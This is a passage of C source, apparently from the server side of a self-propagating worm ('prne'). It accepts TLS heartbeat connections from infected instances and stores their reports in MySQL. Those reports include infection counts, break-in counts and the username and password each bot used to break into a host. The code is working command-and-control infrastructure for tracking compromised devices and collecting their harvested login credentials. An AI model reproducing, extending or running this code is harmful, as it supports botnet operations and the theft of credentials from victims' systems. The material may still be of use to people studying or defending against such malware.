
		return 1;
	}

	return 0;
#undef ERR_BREAK
}

static void handle_termsig (const int s) {
	const int saved_errno = errno;

	write(sigpipe[1], &sewage, 1);
	signal(s, SIG_DFL);

	errno = saved_errno;
}

static void init_signals (void) {
	signal(SIGPIPE, SIG_IGN);
	signal(SIGINT, handle_termsig);
	signal(SIGTERM, handle_termsig);
}

static int build_hostinfo_query_str (
	const prne_htbt_host_info_t *hi,
	const struct sockaddr_in6 *sa,
	const char *cred_id,
	const char *cred_pw,
	const char *flags,
	char *const buf,
	const size_t size)
{
	return snprintf(
		buf,
		size,
		"SET\n"
		"\t@`instance_id` = UNHEX('"
		"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X'),\n"
		"\t@`org_id` = UNHEX('"
		"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X'),\n"
		"\t@`parent_uptime` = %"PRIu64",\n"
		"\t@`child_uptime` = %"PRIu64",\n"
		"\t@`bne_cnt` = %"PRIu64",\n"
		"\t@`infect_cnt` = %"PRIu64",\n"
		"\t@`parent_pid` = %"PRIu32",\n"
		"\t@`child_pid` = %"PRIu32",\n"
		"\t@`prog_ver` = UNHEX('"
		"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X'),\n"
		"\t@`boot_id` = UNHEX('"
		"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X'),\n"
		"\t@`cred_id` = %s,\n"
		"\t@`cred_pw` = %s,\n"
		"\t@`crash_cnt` = %"PRIu32",\n"
		"\t@`arch` = %d,\n"
		"\t@`os` = %d,\n"
		"\t@`flags` = %s,\n"
		"\t@`ipaddr` = UNHEX('"
		"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X');\n"
		"INSERT INTO `%shi`\n"
		"SET\n"
		"\t`instance_id` = @`instance_id`,\n"
		"\t`org_id` = @`org_id`,\n"
		"\t`inserted` = UTC_TIMESTAMP,\n"
		"\t`updated` = UTC_TIMESTAMP,\n"
		"\t`parent_uptime` = @`parent_uptime`,\n"
		"\t`child_uptime` = @`child_uptime`,\n"
		"\t`bne_cnt` = @`bne_cnt`,\n"
		"\t`infect_cnt` = @`infect_cnt`,\n"
		"\t`parent_pid` = @`parent_pid`,\n"
		"\t`child_pid` = @`child_pid`,\n"
		"\t`prog_ver` = @`prog_ver`,\n"
		"\t`boot_id` = @`boot_id`,\n"
		"\t`cred_id` = @`cred_id`,\n"
		"\t`cred_pw` = @`cred_pw`,\n"
		"\t`crash_cnt` = @`crash_cnt`,\n"
		"\t`arch` = @`arch`,\n"
		"\t`os` = @`os`,\n"
		"\t`flags` = @`flags`,\n"
		"\t`ipaddr` = @`ipaddr`\n"
		"ON DUPLICATE KEY UPDATE\n"
		"\t`updated` = UTC_TIMESTAMP,\n"
		"\t`parent_uptime` = @`parent_uptime`,\n"
		"\t`child_uptime` = @`child_uptime`,\n"
		"\t`bne_cnt` = @`bne_cnt`,\n"
		"\t`infect_cnt` = @`infect_cnt`,\n"
		"\t`child_pid` = @`child_pid`,\n"
		"\t`crash_cnt` = @`crash_cnt`,\n"
		"\t`ipaddr` = @`ipaddr`;\n"
		"COMMIT;\n",
		hi->instance_id[0],
		hi->instance_id[1],
		hi->instance_id[2],
		hi->instance_id[3],
		hi->instance_id[4],
		hi->instance_id[5],
		hi->instance_id[6],
		hi->instance_id[7],
		hi->instance_id[8],
		hi->instance_id[9],
		hi->instance_id[10],
		hi->instance_id[11],
		hi->instance_id[12],
		hi->instance_id[13],
		hi->instance_id[14],
		hi->instance_id[15],
		hi->org_id[0],
		hi->org_id[1],
		hi->org_id[2],
		hi->org_id[3],
		hi->org_id[4],
		hi->org_id[5],
		hi->org_id[6],
		hi->org_id[7],
		hi->org_id[8],
		hi->org_id[9],
		hi->org_id[10],
		hi->org_id[11],
		hi->org_id[12],
		hi->org_id[13],
		hi->org_id[14],
		hi->org_id[15],
		hi->parent_uptime,
		hi->child_uptime,
		hi->bne_cnt,
		hi->infect_cnt,
		hi->parent_pid,
		hi->child_pid,
		hi->prog_ver[0],
		hi->prog_ver[1],
		hi->prog_ver[2],
		hi->prog_ver[3],
		hi->prog_ver[4],
		hi->prog_ver[5],
		hi->prog_ver[6],
		hi->prog_ver[7],
		hi->prog_ver[8],
		hi->prog_ver[9],
		hi->prog_ver[10],
		hi->prog_ver[11],
		hi->prog_ver[12],
		hi->prog_ver[13],
		hi->prog_ver[14],
		hi->prog_ver[15],
		hi->boot_id[0],
		hi->boot_id[1],
		hi->boot_id[2],
		hi->boot_id[3],
		hi->boot_id[4],
		hi->boot_id[5],
		hi->boot_id[6],
		hi->boot_id[7],
		hi->boot_id[8],
		hi->boot_id[9],
		hi->boot_id[10],
		hi->boot_id[11],
		hi->boot_id[12],
		hi->boot_id[13],
		hi->boot_id[14],
		hi->boot_id[15],
		cred_id,
		cred_pw,
		hi->crash_cnt,
		hi->arch,
		hi->os,
		flags,
		((const uint8_t*)&sa->sin6_addr)[0],
		((const uint8_t*)&sa->sin6_addr)[1],
		((const uint8_t*)&sa->sin6_addr)[2],
		((const uint8_t*)&sa->sin6_addr)[3],
		((const uint8_t*)&sa->sin6_addr)[4],
		((const uint8_t*)&sa->sin6_addr)[5],
		((const uint8_t*)&sa->sin6_addr)[6],
		((const uint8_t*)&sa->sin6_addr)[7],
		((const uint8_t*)&sa->sin6_addr)[8],
		((const uint8_t*)&sa->sin6_addr)[9],
		((const uint8_t*)&sa->sin6_addr)[10],
		((const uint8_t*)&sa->sin6_addr)[11],
		((const uint8_t*)&sa->sin6_addr)[12],
		((const uint8_t*)&sa->sin6_addr)[13],
		((const uint8_t*)&sa->sin6_addr)[14],
		((const uint8_t*)&sa->sin6_addr)[15],
		prog_conf.db.tbl_pfx);
}

static void db_sync_msg (db_ctx_t *c, const char *msg) {
	pthread_mutex_lock(&prog_g.stdio_lock);
	fprintf(stderr, "db@%"PRIxPTR": %s\n", (uintptr_t)c, msg);
	pthread_mutex_unlock(&prog_g.stdio_lock);
}

static bool handle_db_qe (
	db_ctx_t *ctx,
	const db_qe_t *e)
{
	struct {
		char *cred_id;
		char *cred_pw;
		char *flags;
	} qv;
	char *q_str = NULL;
	size_t q_len = 0;
	prne_host_cred_t hc;
	int f_ret;
	bool ret = false, sql_err = true;

	prne_init_host_cred(&hc);
	prne_memzero(&qv, sizeof(qv));

// TRY
	if (prne_dec_host_cred(
		e->hi.host_cred,
		e->hi.host_cred_len,
		&hc) == PRNE_HTBT_SER_RC_OK)
	{
		unsigned long len;
		size_t cred_l[2], sl[2];

		cred_l[0] = strlen(hc.id);
		cred_l[1] = strlen(hc.pw);

		sl[0] = 2 + cred_l[0] * 2;
		qv.cred_id = prne_alloc_str(sl[0]);
		sl[1] = 2 + cred_l[1] * 2;
		qv.cred_pw = prne_alloc_str(sl[1]);
		if (qv.cred_id == NULL || qv.cred_pw == NULL) {
			goto END;
		}
		prne_memzero(qv.cred_id, sl[0] + 1);
		prne_memzero(qv.cred_pw, sl[1] + 1);

		qv.cred_id[0] = '\'';
		len = mysql_real_escape_string(
			&ctx->c,
			qv.cred_id + 1,
			hc.id,
			cred_l[0]);
		qv.cred_id[len + 1] = '\'';
		qv.cred_id[len + 2] = 0;

		qv.cred_pw[0] = '\'';
		len = mysql_real_escape_string(
			&ctx->c,
			qv.cred_pw + 1,
			hc.pw,
			cred_l[1]);
		qv.cred_pw[len + 1] = '\'';
		qv.cred_pw[len + 2] = 0;
	}
	else {
		qv.cred_id = prne_dup_str("NULL");
		qv.cred_pw = prne_dup_str("NULL");
		if (qv.cred_id == NULL || qv.cred_pw == NULL) {
			goto END;
		}
	}

	if (e->hi.bf_len > 0) {
		char *hex, *p;
		const char *sb[] = { "UNHEX('", NULL, "')" };

		p = hex = prne_alloc_str(e->hi.bf_len * 2);
		if (hex == NULL) {
			goto END;
		}
		for (size_t i = 0; i < e->hi.bf_len; i += 1) {
			prne_hex_tochar(e->hi.bf[i], p, false);
			p += 2;
		}
		*p = 0;

		sb[1] = hex;
		qv.flags = prne_build_str(sb, sizeof(sb)/sizeof(const char*));
	}
	else {
		qv.flags = prne_dup_str("NULL");
	}
	if (qv.flags == NULL) {
		goto END;
	}

	if (prog_conf.verbose >= PRNE_VL_DBG0 + 1) {
		const char *pr[2] = { qv.cred_id, qv.cred_pw };

		for (const char *p = pr[0]; *p != 0; p += 1) {
			if (!prne_cisspace(*p)) {
				pr[0] = "(bin)";
				break;
			}
		}
		for (const char *p = pr[1]; *p != 0; p += 1) {
			if (!prne_cisspace(*p)) {
				pr[1] = "(bin)";
				break;
			}
		}

		pthread_mutex_lock(&prog_g.stdio_lock);
		fprintf(
			stderr,
			"db@%"PRIxPTR": hostinfo("
			"parent_uptime = %"PRIu64", "
			"child_uptime = %"PRIu64", "
			"bne_cnt = %"PRIu64", "
			"infect_cnt = %"PRIu64", "
			"parent_pid = %"PRIu32", "
			"child_pid = %"PRIu32", "
			"prog_ver = %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X, "
			"boot_id = %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X, "
			"instance_id = %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X, "
			"org_id = %02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X, "
			"host_cred.id = %s, "
			"host_cred.pw = %s, "
			"crash_cnt = %"PRIu32", "
			"arch = %d, "
			"os = %d)\n",
			(uintptr_t)ctx,
			e->hi.parent_uptime,
			e->hi.child_uptime,
			e->hi.bne_cnt,
			e->hi.infect_cnt,
			e->hi.parent_pid,
			e->hi.child_pid,
			e->hi.prog_ver[0],
			e->hi.prog_ver[1],
			e->hi.prog_ver[2],
			e->hi.prog_ver[3],
			e->hi.prog_ver[4],
			e->hi.prog_ver[5],
			e->hi.prog_ver[6],
			e->hi.prog_ver[7],
			e->hi.prog_ver[8],
			e->hi.prog_ver[9],
			e->hi.prog_ver[10],
			e->hi.prog_ver[11],
			e->hi.prog_ver[12],
			e->hi.prog_ver[13],
			e->hi.prog_ver[14],
			e->hi.prog_ver[15],
			e->hi.boot_id[0],
			e->hi.boot_id[1],
			e->hi.boot_id[2],
			e->hi.boot_id[3],
			e->hi.boot_id[4],
			e->hi.boot_id[5],
			e->hi.boot_id[6],
			e->hi.boot_id[7],
			e->hi.boot_id[8],
			e->hi.boot_id[9],
			e->hi.boot_id[10],
			e->hi.boot_id[11],
			e->hi.boot_id[12],
			e->hi.boot_id[13],
			e->hi.boot_id[14],
			e->hi.boot_id[15],
			e->hi.instance_id[0],
			e->hi.instance_id[1],
			e->hi.instance_id[2],
			e->hi.instance_id[3],
			e->hi.instance_id[4],
			e->hi.instance_id[5],
			e->hi.instance_id[6],
			e->hi.instance_id[7],
			e->hi.instance_id[8],
			e->hi.instance_id[9],
			e->hi.instance_id[10],
			e->hi.instance_id[11],
			e->hi.instance_id[12],
			e->hi.instance_id[13],
			e->hi.instance_id[14],
			e->hi.instance_id[15],
			e->hi.org_id[0],
			e->hi.org_id[1],
			e->hi.org_id[2],
			e->hi.org_id[3],
			e->hi.org_id[4],
			e->hi.org_id[5],
			e->hi.org_id[6],
			e->hi.org_id[7],
			e->hi.org_id[8],
			e->hi.org_id[9],
			e->hi.org_id[10],
			e->hi.org_id[11],
			e->hi.org_id[12],
			e->hi.org_id[13],
			e->hi.org_id[14],
			e->hi.org_id[15],
			pr[0],
			pr[1],
			e->hi.crash_cnt,
			e->hi.arch,
			e->hi.os);
		pthread_mutex_unlock(&prog_g.stdio_lock);
	}

	f_ret = build_hostinfo_query_str(
		&e->hi,
		&e->sa,
		qv.cred_id,
		qv.cred_pw,
		qv.flags,
		NULL,
		0);
	if (f_ret < 0) {
		goto END;
	}
	q_str = prne_alloc_str((size_t)f_ret);
	if (q_str == NULL) {
		goto END;
	}
	q_len = (size_t)f_ret;
	build_hostinfo_query_str(
		&e->hi,
		&e->sa,
		qv.cred_id,
		qv.cred_pw,
		qv.flags,
		q_str,
		q_len + 1);
	if (prog_conf.verbose >= PRNE_VL_DBG0 + 2) {
		db_sync_msg(ctx, q_str);
	}

	ret = true;
	if (mysql_real_query(&ctx->c, q_str, q_len)) {
		goto SQL_ERR;
	}
	while (true) {
		f_ret = mysql_next_result(&ctx->c);
		if (f_ret == 0) {
			continue;
		}
		else if (f_ret == -1) {
			break;
		}
		else {
			goto SQL_ERR;
		}
	}
	sql_err = false;
SQL_ERR:
	if (sql_err && prog_conf.verbose >= PRNE_VL_ERR) {
		report_mysql_err(&ctx->c);
	}

END: // CATCH
	prne_free_host_cred(&hc);
	prne_free(qv.cred_id);
	prne_free(qv.cred_pw);
	prne_free(qv.flags);
	prne_free(q_str);

	return ret;
}

static void *db_thread_main (void *ctx_p) {
	db_ctx_t *ctx = (db_ctx_t*)ctx_p;

	assert(!mysql_thread_init());

	if (prog_conf.verbose >= PRNE_VL_DBG0) {
		db_sync_msg(ctx, "Loop start.");
	}

	while (true) {
		db_qe_t *e;

		pthread_mutex_lock(&ctx->lock);
		if (ctx->q.size == 0) {
			if (ctx->term) {
				pthread_mutex_unlock(&ctx->lock);
				break;
			}
			pthread_cond_wait(&ctx->cv, &ctx->lock);
		}
		if (ctx->q.head != NULL) {
			e = (db_qe_t*)ctx->q.head->element;
			prne_llist_erase(&ctx->q, ctx->q.head);
		}
		else {
			e = NULL;
		}
		pthread_mutex_unlock(&ctx->lock);

		if (e != NULL) {
			handle_db_qe(ctx, e);

			prne_htbt_free_host_info(&e->hi);
			prne_free(e);
		}
	}

	if (prog_conf.verbose >= PRNE_VL_DBG0) {
		db_sync_msg(ctx, "Loop end.");
	}

	mysql_thread_end();

	return NULL;
}

static void free_client_ctx (client_ctx_t *ctx) {
	prne_free_iobuf(ctx->ib + 0);
	prne_free_iobuf(ctx->ib + 1);
	prne_close(ctx->sck);
	mbedtls_ssl_free(&ctx->ssl);
}

static void incre_conn_ctr (const ssize_t n) {
	pthread_mutex_lock(&prog_g.conn_ctr.lock);
	prog_g.conn_ctr.cnt += n;
	pthread_mutex_unlock(&prog_g.conn_ctr.lock);
}

static prne_llist_entry_t *pop_client_ctx (
	th_ctx_t *ctx,
	prne_llist_entry_t *e)
{
	client_ctx_t *c = (client_ctx_t*)e->element;
	prne_llist_entry_t *ret;

	free_client_ctx(c);
	prne_free(c);
	ret = prne_llist_erase(&ctx->c_list, e);
	incre_conn_ctr(-1);

	return ret;
}

static bool resize_pfd_arr (th_ctx_t *ctx, const size_t ny_size) {
	void *ny = prne_realloc(
		ctx->pfd,
		sizeof(struct pollfd),
		ny_size);

	if (ny_size > 0 && ny == NULL) {
		if (prog_conf.verbose >= PRNE_VL_ERR) {
			sync_perror("** resize_pfd_arr()");
		}
		return false;
	}
	ctx->pfd = (struct pollfd*)ny;
	return true;
}

static void client_sync_msg (client_ctx_t *c, const char *msg) {
	pthread_mutex_lock(&prog_g.stdio_lock);
	fprintf(stderr, "client@%"PRIxPTR": %s\n", (uintptr_t)c, msg);
	pthread_mutex_unlock(&prog_g.stdio_lock);
}

static void client_sync_perror (client_ctx_t *c, const char *msg) {
	pthread_mutex_lock(&prog_g.stdio_lock);
	fprintf(
		stderr,
		"client@%"PRIxPTR" %s: %s\n",
		(uintptr_t)c,
		msg,
		strerror(errno));
	pthread_mutex_unlock(&prog_g.stdio_lock);
}

static void client_sync_mbedtls_err (
	const int err,
	const char *msg,
	const uintptr_t c)
{
	char str[256];

	str[0] = 0;
	mbedtls_strerror(err, str, sizeof(str));
	pthread_mutex_lock(&prog_g.stdio_lock);
	fprintf(
		stderr,
		"client@%"PRIxPTR" %s: %s\n",
		c,
		msg,
		str);
	pthread_mutex_unlock(&prog_g.stdio_lock);
}

static bool fab_client_status_rsp (
	client_ctx_t *c,
	const uint16_t id,
	const prne_htbt_status_code_t code,
	const int32_t err)
{
	prne_htbt_msg_head_t mh;
	prne_htbt_status_t status;
	size_t msg_len = 0;
	size_t actual;
	bool ret;

	prne_htbt_init_msg_head(&mh);
	prne_htbt_init_status(&status);
	mh.is_rsp = true;
	mh.id = id;
	mh.op = PRNE_HTBT_OP_STATUS;
	status.code = code;
	status.err = err;

	prne_htbt_ser_msg_head(NULL, 0, &actual, &mh);
	msg_len += actual;
	prne_htbt_ser_status(NULL, 0, &actual, &status);
	msg_len += actual;

	if (prne_alloc_iobuf(c->ib + 1, msg_len)) {
		prne_iobuf_zero(c->ib + 1);

		prne_htbt_ser_msg_head(
			c->ib[1].m + c->ib[1].len,
			c->ib[1].avail,
			&actual,
			&mh);
		prne_iobuf_shift(c->ib + 1, actual);
		prne_htbt_ser_status(
			c->ib[1].m + c->ib[1].len,
			c->ib[1].avail,
			&actual,
			&status);
		prne_iobuf_shift(c->ib + 1, actual);

		ret = true;
	}
	else {
		ret = false;
		if (prog_conf.verbose >= PRNE_VL_ERR) {
			client_sync_perror(c, "** proc_client_stream()");
		}
	}

	prne_htbt_free_msg_head(&mh);
	prne_htbt_free_status(&status);

	return ret;
}

static bool queue_hostinfo (
	client_ctx_t *client,
	prne_htbt_host_info_t *hi)
{
	bool ret = false;
	db_qe_t *qe = (db_qe_t*)prne_malloc(sizeof(db_qe_t), 1);
	pthread_mutex_t *lock = NULL;

	if (qe == NULL) {
		goto END;
	}

	memcpy(&qe->hi, hi, sizeof(prne_htbt_host_info_t));
	memcpy(&qe->sa, &client->sa, sizeof(struct sockaddr_in6));

	pthread_mutex_lock(&prog_g.db_ctx.lock);
	lock = &prog_g.db_ctx.lock;
	if (prog_g.db_ctx.q.size > prog_conf.db_q_size) {
		if (prog_conf.verbose >= PRNE_VL_WARN) {
			client_sync_msg(client, "** DB queue full!");
		}
		goto END;
	}
	if (prne_llist_append(&prog_g.db_ctx.q, (prne_llist_element_t)qe) == NULL) {
		if (prog_conf.verbose >= PRNE_VL_ERR) {
			client_sync_perror(client, "prne_llist_append()");
		}
		goto END;
	}
	pthread_cond_broadcast(&prog_g.db_ctx.cv);
	pthread_mutex_unlock(lock);
	lock = NULL;

	qe = NULL;
	prne_htbt_init_host_info(hi);
	ret = true;
END:
	if (lock != NULL) {
		pthread_mutex_unlock(lock);
	}
	prne_free(qe);

	return ret;
}

static int proc_client_hostinfo (
	th_ctx_t *ctx,
	client_ctx_t *c,
	const size_t off)
{
	prne_htbt_host_info_t hi;
	prne_htbt_ser_rc_t src;
	size_t actual;
	int ret = 0;

	prne_htbt_init_host_info(&hi);
// TRY
	src = prne_htbt_dser_host_info(
		c->ib[0].m + off,
		c->ib[0].len - off,
		&actual,
		&hi);
	switch (src) {
	case PRNE_HTBT_SER_RC_OK:
		if (prog_conf.verbose >= PRNE_VL_DBG0) {
			client_sync_msg(c, "< OP_HOST_INFO");
		}

		prne_iobuf_shift(c->ib + 0, -(off + actual));
		c->proto_state.hi_received = true;
		c->con_state = CS_CLOSE;
		if (!queue_hostinfo(c, &hi)) {
			if (prog_conf.verbose >= PRNE_VL_ERR) {
				client_sync_perror(c, "** queue_hostinfo()");
			}
		}
		break;
	case PRNE_HTBT_SER_RC_MORE_BUF:
		ret = 1;
		goto END;
	case PRNE_HTBT_SER_RC_FMT_ERR:
		ret = -2;
		goto END;
	default:
		if (prog_conf.verbose >= PRNE_VL_ERR) {
			client_sync_perror(c, "prne_htbt_dser_host_info()");
		}
		ret = -1;
		goto END;
	}

END: // CATCH
	prne_htbt_free_host_info(&hi);
	return ret;
}

static int proc_client_stream (th_ctx_t *ctx, client_ctx_t *c) {
	prne_htbt_msg_head_t mh;
	prne_htbt_ser_rc_t src;
	size_t actual;
	int ret = 1;

	prne_htbt_init_msg_head(&mh);

// TRY
	src = prne_htbt_dser_msg_head(c->ib[0].m, c->ib[0].len, &actual, &mh);
	if (src == PRNE_HTBT_SER_RC_MORE_BUF) {
		goto END;
	}
	if (src != PRNE_HTBT_SER_RC_OK) {
		goto PROTO_ERR;
	}

	switch (mh.op) {
	case PRNE_HTBT_OP_SOLICIT:
		prne_iobuf_shift(c->ib + 0, -actual);
		if (mh.is_rsp || c->proto_state.hi_sent) {
			goto PROTO_ERR;
		}

		if (prog_conf.verbose >= PRNE_VL_DBG0) {
			client_sync_msg(c, "< OP_SOLICIT");
			client_sync_msg(c, "> OP_HOST_INFO");
		}

		mh.op = PRNE_HTBT_OP_HOST_INFO;
		prne_rnd(&ctx->rnd, (uint8_t*)&mh.id, sizeof(mh.id));
		mh.id =
			PRNE_HTBT_MSG_ID_MIN +
			((mh.id % PRNE_HTBT_MSG_ID_MAX) - PRNE_HTBT_MSG_ID_MIN);

		prne_htbt_ser_msg_head(NULL, 0, &actual, &mh);
		if (prne_alloc_iobuf(c->ib + 1, actual)) {
			prne_iobuf_zero(c->ib + 1);
			prne_htbt_ser_msg_head(
				c->ib[1].m,
				c->ib[1].avail,
				&actual,
				&mh);
			prne_iobuf_shift(c->ib + 1, actual);
			c->proto_state.hi_sent = true;
			ret = 0;
		}
		else {
			ret = -1;
			if (prog_conf.verbose >= PRNE_VL_ERR) {
				client_sync_perror(c, "** proc_client_stream()");
			}
		}

		break;
	case PRNE_HTBT_OP_HOST_INFO:
		if (!mh.is_rsp) {
			goto PROTO_ERR;
		}
		ret = proc_client_hostinfo(ctx, c, actual);
		if (ret == -2) {
			goto PROTO_ERR;
		}
		break;
	default:
		prne_iobuf_reset(c->ib + 0);
		if (fab_client_status_rsp(c, mh.id, PRNE_HTBT_STATUS_UNIMPL, 0)) {
			c->con_state = CS_SHUT;
		}
		else {
			ret = -1;
		}
		if (prog_conf.verbose >= PRNE_VL_WARN) {
			pthread_mutex_lock(&prog_g.stdio_lock);
			fprintf(
				stderr,
				"client@%"PRIxPTR": * unimplemented op code %d.\n",
				(uintptr_t)c,
				mh.op);
			pthread_mutex_unlock(&prog_g.stdio_lock);
		}
		goto END;
	}

	goto END;
PROTO_ERR:
	prne_iobuf_reset(c->ib + 0);
	if (fab_client_status_rsp(c, mh.id, PRNE_HTBT_STATUS_PROTO_ERR, 0)) {
		c->con_state = CS_SHUT;
	}
	else {
		ret = -1;
	}

	if (prog_conf.verbose >= PRNE_VL_ERR) {
		client_sync_msg(c, "** protocol error.");
	}
END: // CATCH
	prne_htbt_free_msg_head(&mh);
	return ret;
}

static int serve_client (
	th_ctx_t *ctx,
	client_ctx_t *c,
	const struct timespec now,
	const int revents)
{
	ssize_t f_ret;
	int ret;

	if (c->ib[1].len > 0 && revents & POLLOUT) {
		// consume out bufs
		f_ret = mbedtls_ssl_write(&c->ssl, c->ib[1].m, c->ib[1].len);
		if (f_ret < 0) {
			if (prne_mbedtls_is_nberr(f_ret)) {
				if (prog_conf.verbose >= PRNE_VL_DBG0) {
					client_sync_perror(c, "mbedtls_ssl_write()");
				}
				return -1;
			}
		}
		else if (f_ret == 0) {
			if (prog_conf.verbose >= PRNE_VL_DBG0 + 1) {
				client_sync_msg(c, "write EOF.");
			}
			if (prog_conf.verbose >= PRNE_VL_ERR) {
				client_sync_msg(
					c,
					"** client shutdown whilst there's still data to send.");
			}
			return -1;
		}
		else {
			if (prog_conf.verbose >= PRNE_VL_DBG0 + 1 ) {
				pthread_mutex_lock(&prog_g.stdio_lock);
				if (prog_conf.verbose >= PRNE_VL_DBG0 + 2) {
					fprintf(
						stderr,
						"client@%"PRIxPTR": > %zd bytes: ",
						(uintptr_t)c,
						f_ret);
					for (ssize_t i = 0; i < f_ret; i += 1) {
						fprintf(stderr, "%02"PRIx8" ", c->ib[1].m[i]);
					}
					fprintf(stderr, "\n");
				}
				else {
					fprintf(
						stderr,
						"client@%"PRIxPTR": > %zd bytes.\n",
						(uintptr_t)c,
						f_ret);
				}
				pthread_mutex_unlock(&prog_g.stdio_lock);
			}

			prne_iobuf_shift(c->ib + 1, -f_ret);
		}
	}

	if (c->con_state != CS_PROC) {
		if (c->ib[1].len == 0) {
			c->con_state = CS_CLOSE;
		}
		return 0;
	}

	// process incoming data from clients
	if (c->ib[0].avail == 0) {
		if (prog_conf.verbose >= PRNE_VL_ERR) {
			client_sync_msg(c, "** no buffer left to process stream!");
		}
		return -1;
	}

	if (revents & POLLIN) {
		f_ret = mbedtls_ssl_read(
			&c->ssl,
			c->ib[0].m + c->ib[0].len,
			c->ib[0].avail);
		if (f_ret < 0) {
			if (!prne_mbedtls_is_nberr(f_ret)) {
				if (prog_conf.verbose >= PRNE_VL_DBG0) {
					client_sync_perror(c, "mbedtls_ssl_read()");
				}
				return -1;
			}
			return 1;
		}
		else if (f_ret == 0) {
			c->con_state = CS_SHUT;
			if (prog_conf.verbose >= PRNE_VL_DBG0 + 1) {
				client_sync_msg(c, "read EOF.");
			}
		}

		if (prog_conf.verbose >= PRNE_VL_DBG0 + 1 && f_ret > 0) {
			pthread_mutex_lock(&prog_g.stdio_lock);
			if (prog_conf.verbose >= PRNE_VL_DBG0 + 2) {
				fprintf(
					stderr,
					"client@%"PRIxPTR": < %zd bytes: ",
					(uintptr_t)c,
					f_ret);
				for (ssize_t i = 0; i < f_ret; i += 1) {
					fprintf(stderr, "%02"PRIx8" ", c->ib[0].m[i + c->ib[0].len]);
				}
				fprintf(stderr, "\n");
			}
			else {
				fprintf(
					stderr,
					"client@%"PRIxPTR": < %zd bytes.\n",
					(uintptr_t)c,
					f_ret);
			}
			pthread_mutex_unlock(&prog_g.stdio_lock);
		}

		prne_iobuf_shift(c->ib + 0, f_ret);
	}

	while ((ret = proc_client_stream(ctx, c)) == 0) {
		c->last_op = now;
	}

	return ret;
}

static void client_thread_tick (th_ctx_t *ctx) {
	const struct timespec now = prne_gettime(CLOCK_MONOTONIC);
	nfds_t pfd_ptr;
	int f_ret;
	long poll_to = -1;
	bool pending = false;

	// free expired clients
	// calculate poll() timeout
	for (prne_llist_entry_t *e = ctx->c_list.head; e != NULL;) {
		client_ctx_t *c = (client_ctx_t*)e->element;
		const struct timespec to_tp = prne_add_timespec(
			c->last_op,
			prog_conf.sck_op_timeout);

		if (prne_cmp_timespec(now, to_tp) > 0) {
			if (prog_conf.verbose >= PRNE_VL_DBG0) {
				client_sync_msg(c, "timed out(inactive).");
			}
			e = pop_client_ctx(ctx, e);
		}
		else {
			const struct timespec td = prne_sub_timespec(to_tp, now);
			const long ms_to = prne_timespec_ms(td);

			if (poll_to < 0 || poll_to > ms_to) {
				poll_to = ms_to;
			}

			e = e->next;
		}
	}

	// build pfd and do handshake
	pfd_ptr = 0;
	for (prne_llist_entry_t *e = ctx->c_list.head; e != NULL;) {
		client_ctx_t *c = (client_ctx_t*)e->element;
		short events, revents = 0;

		switch (c->con_state) {
		case CS_HANDSHAKE:
			errno = 0;
			f_ret = mbedtls_ssl_handshake(&c->ssl);
			switch (f_ret) {
			case 0:
				if (!prne_nstreq(
					mbedtls_ssl_get_alpn_protocol(&c->ssl),
					PRNE_HTBT_TLS_ALP))
				{
					if (prog_conf.verbose >= PRNE_VL_WARN) {
						client_sync_msg(c, "* ALPN error.");
					}
					e = pop_client_ctx(ctx, e);
					continue;
				}
				c->con_state = CS_PROC;
				c->last_op = now;

				if (prog_conf.verbose >= PRNE_VL_DBG0) {
					client_sync_msg(c, "mbedtls_ssl_handshake() successful.");
				}
				/* fall-through */
			case MBEDTLS_ERR_SSL_WANT_READ:
				events = POLLIN;
				e = e->next;
				break;
			case MBEDTLS_ERR_SSL_WANT_WRITE:
				events = POLLOUT;
				e = e->next;
				break;
			default:
				if (prog_conf.verbose >= PRNE_VL_WARN) {
					if (errno == 0) {
						client_sync_mbedtls_err(
							f_ret,
							"* mbedtls_ssl_handshake()",
							(uintptr_t)c);
					}
					else {
						switch (errno) {
						case EPIPE:
							break;
						default:
							client_sync_perror(c, "* mbedtls_ssl_handshake()");
						}
					}
				}
				e = pop_client_ctx(ctx, e);
				continue;
			}
			break;
		case CS_CLOSE:
			errno = 0;
			f_ret = mbedtls_ssl_close_notify(&c->ssl);
			switch (f_ret) {
			case MBEDTLS_ERR_SSL_WANT_READ:
				events = POLLIN;
				e = e->next;
				break;
			case MBEDTLS_ERR_SSL_WANT_WRITE:
				events = POLLOUT;
				e = e->next;
				break;
			default:
				if (f_ret == 0) {
					shutdown(c->sck, SHUT_RDWR);

					if (prog_conf.verbose >= PRNE_VL_DBG0) {
						client_sync_msg(c, "graceful close.");
					}
				}
				else if (prog_conf.verbose >= PRNE_VL_WARN) {
					if (errno == 0) {
						client_sync_mbedtls_err(
							f_ret,
							"* mbedtls_ssl_close_notify()",
							(uintptr_t)c);
					}
					else {
						switch (errno) {
						case EPIPE:
							break;
						default:
							client_sync_perror(
								c,
								"* mbedtls_ssl_close_notify()");
						}
					}
				}

				e = pop_client_ctx(ctx, e);
				continue;
			}
			break;
		case CS_SHUT:
			events = POLLOUT;
			e = e->next;
			break;
		case CS_PROC:
			if (mbedtls_ssl_check_pending(&c->ssl)) {
				events = POLLIN;
				revents = POLLIN;
				pending = true;
			}
			else if (c->ib[1].len > 0) {
				events = POLLOUT;
			}
			else {
				events = POLLIN;
			}
			e = e->next;
			break;
		default: abort();
		}

		ctx->pfd[pfd_ptr].fd = c->sck;
		ctx->pfd[pfd_ptr].events = events;
		ctx->pfd[pfd_ptr].revents = revents;
		pfd_ptr += 1;
	}
	ctx->pfd[pfd_ptr].fd = ctx->ihcp[0];
	ctx->pfd[pfd_ptr].events = POLLIN;
	pfd_ptr += 1;

	if (!pending) {
		// do poll
		f_ret = poll(ctx->pfd, pfd_ptr, (int)poll_to);
		if (f_ret < 0) {
			if (errno != EINTR) {
				if (prog_conf.verbose >= PRNE_VL_FATAL) {
